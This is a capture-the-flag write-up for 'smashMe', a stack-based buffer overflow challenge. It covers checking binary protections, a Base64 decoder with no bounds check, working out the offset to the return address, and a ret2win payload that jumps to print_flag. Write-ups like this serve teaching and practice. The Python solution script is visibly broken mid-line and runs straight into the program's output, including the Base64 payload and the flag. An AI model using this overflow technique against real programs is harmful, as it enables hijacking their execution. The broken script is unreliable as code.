# Smash Me `smashMe` is a classic binary exploitation challenge that introduces players to stack-based buffer overflows. The challenge provides a statically linked 64-bit ELF binary and its source code. Players must identify a vulnerability in a custom Base64 decoding implementation and redirect the program's execution to a "win" function that prints the flag. ## Information Gathering ### Binary Protections We can analyze the binary's security features using standard command-line tools like `file` and `readelf`. #### 1. Static Linking and No-PIE Using the `file` command: ```bash $ file smashMe smashMe: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, ... ``` - **Statically linked**: All necessary libraries (like `libc`) are bundled within the binary. - **LSB executable**: Since it says "executable" and not "shared object", **PIE (Position Independent Executable)** is disabled. The binary will load at a fixed base address (`0x400000`). #### 2. NX (No-Execute) Using `readelf` to check the stack permissions: ```bash $ readelf -l smashMe | grep -A 1 STACK GNU_STACK 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 RWE 0x10 ``` - The `RWE` (Read, Write, Execute) flag indicates that the stack is executable. **NX** is disabled. #### 3. Stack Canaries While a search for symbols might show `__stack_chk_fail` (due to the statically linked `libc`), we can verify if the target function uses it by disassembling `core_loop`: ```bash $ objdump -d -M intel smashMe | grep -A 10 ":" 0000000000401d83 : ... 401d8f: 48 83 ec 50 sub rsp,0x50 ... ``` The absence of any `fs:[0x28]` references or calls to `__stack_chk_fail` in the function prologue/epilogue confirms that **Stack Canaries** are disabled for this function. These settings make the binary highly susceptible to traditional stack smashing techniques. ### Source Code Analysis (`vuln.c`) The program reads a Base64 string from the user, decodes it, and prints the result. The core logic resides in `core_loop()`: ```c void core_loop() { unsigned char decoded[64]; // Get base64 input printf("Give me a base64 string: "); scanf("%s", input); // Decode int result = base64_decode(input, decoded); // ... } ``` The `base64_decode` function decodes data from the global `input` buffer into the local `decoded` buffer. However, it lacks any bounds checking on the destination buffer: ```c int base64_decode(const char *data, unsigned char *output_buffer) { // ... for (i = 0, j = 0; i < input_length;) { // ... (decoding logic) output_buffer[j++] = (triple >> 2 * 8) & 0xFF; output_buffer[j++] = (triple >> 1 * 8) & 0xFF; output_buffer[j++] = (triple >> 0 * 8) & 0xFF; } // ... } ``` While `decoded` is only 64 bytes, `input` can hold up to 2048 bytes, allowing for a significant overflow of the stack frame. ## Vulnerability Analysis The vulnerability is a **Stack-based Buffer Overflow**. By providing a long Base64-encoded string, we can overwrite local variables, the saved frame pointer (RBP), and the saved return address on the stack. The program contains a "win" function called `print_flag()`: ```c void print_flag() { printf("[!!!] Access Granted. The Return Address was modified.\n [*] FLAG: %s\n", global_flag); exit(0); } ``` Our objective is to hijack the control flow by overwriting the return address of `core_loop()` with the address of `print_flag()`. ## Exploitation Strategy ### 1. Find the Target Address Since PIE is disabled, the address of `print_flag` is constant. Using `nm` or `objdump`: ```bash nm smashMe | grep print_flag # Output: 0000000000401b58 T print_flag ``` To avoid potential stack alignment issues (such as the `movaps` instruction requiring a 16-byte aligned stack), we can jump to `0x401b60`, which is slightly into the function body after the prologue. ### 2. Determine the Offset We must determine the exact distance from the start of the `decoded` buffer to the return address. - The `core_loop` function aligns the stack to 16 bytes (`and rsp, 0xfffffffffffffff0`) and then subtracts `0x50` (80 bytes). - The `decoded` buffer is located at the current `rsp`. - Due to the stack alignment and subsequent push/sub operations, the distance to the saved return address is **88 bytes** (80 bytes for the buffer/alignment + 8 bytes for the saved RBP). Total offset to Return Address: **88 bytes**. ### 3. Construct the Payload The payload structure: 1. **80 bytes** of arbitrary padding (e.g., 'A's). 2. **8 bytes** to overwrite the saved RBP (e.g., 'B's). 3. **8 bytes** containing the address `0x401b60` (little-endian). The final raw payload is then Base64-encoded to meet the program's input requirements. ## Solution The following Python script generates the exploit: ```python import struct import base64 # Target address of print_flag (skipping prologue) win_addr = struct.pack(' 1349 Give me a base64 string: QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFCQkJCQkJCQmAbQAAAAAAA Decoded: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB`.@ [!!!] Access Granted. The Return Address was modified. [*] FLAG: {flag:Al3ph1_Sm4sh3d_Th3_St4ck_1n_Phr4ck49} ``` ## Conclusion `smashMe` serves as a fundamental exercise in identifying and exploiting stack-based overflows. It highlights that even when data is transformed (e.g., via Base64), improper handling of buffer lengths can lead to full system compromise.